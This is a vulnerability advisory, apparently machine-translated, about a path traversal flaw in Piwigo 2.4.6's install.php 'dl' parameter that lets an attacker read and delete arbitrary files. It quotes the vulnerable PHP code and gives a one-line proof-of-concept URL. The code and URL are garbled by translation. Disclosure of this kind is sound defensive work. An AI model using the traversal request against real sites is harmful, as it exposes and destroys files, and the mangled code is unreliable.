Piwio Arbitrary File leakage and Arbitrary File Deletion Vulnerabilities

Release date:
Updated on: 2013-02-21

Affected Systems:
Piwio
Description:
--------------------------------------------------------------------------------
Bugtraq id: 58016
 
Piwio is an album script written in PHP.
 
Piwio 2.4.6 and other versions do not correctly verify install. the 'dl 'parameter value of the php script has a security vulnerability. Attackers can exploit this vulnerability to view any files on the affected computer and delete any files in the affected application context.
 
<* Source: Gjoko Krstic (liquidworm@gmail.com)

Link: http://packetstormsecurity.com/files/120380/Piwigo-2.4.6-Arbitrary-File-Read-Delete.html
Http://osvdb.org/show/osvdb/90357
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Http://www.example.com/piwigo/install.php? Dl =.../../lio_passwords.txt
 
========================================================== ======================================
/Install. php:
-------------
 
113: if (! Empty ($ _ GET ['dl ']) & file_exists (PHPWG_ROOT_PATH. $ conf ['data _ location']. 'pwg _'. $ _ GET ['dl '])
114 :{
115: $ filename = PHPWG_ROOT_PATH. $ conf ['data _ location']. 'pwg _ '. $ _ GET ['dl'];
116: header ('cache-Control: no-Cache, must-revalidate ');
117: header ('pragma: no-cache ');
118: header ('content-Disposition: attachment; filename = "database. inc. php "');
119: header ('content-Transfer-Encoding: binary ');
120: header ('content-Length: '. filesize ($ filename ));
121: echo file_get_contents ($ filename );
122: unlink ($ filename );
123: exit ();
124 :}
 
========================================================== ======================================
 

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Piwio
------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
 
Http://piwigo.org/bugs/view.php? Id = 2843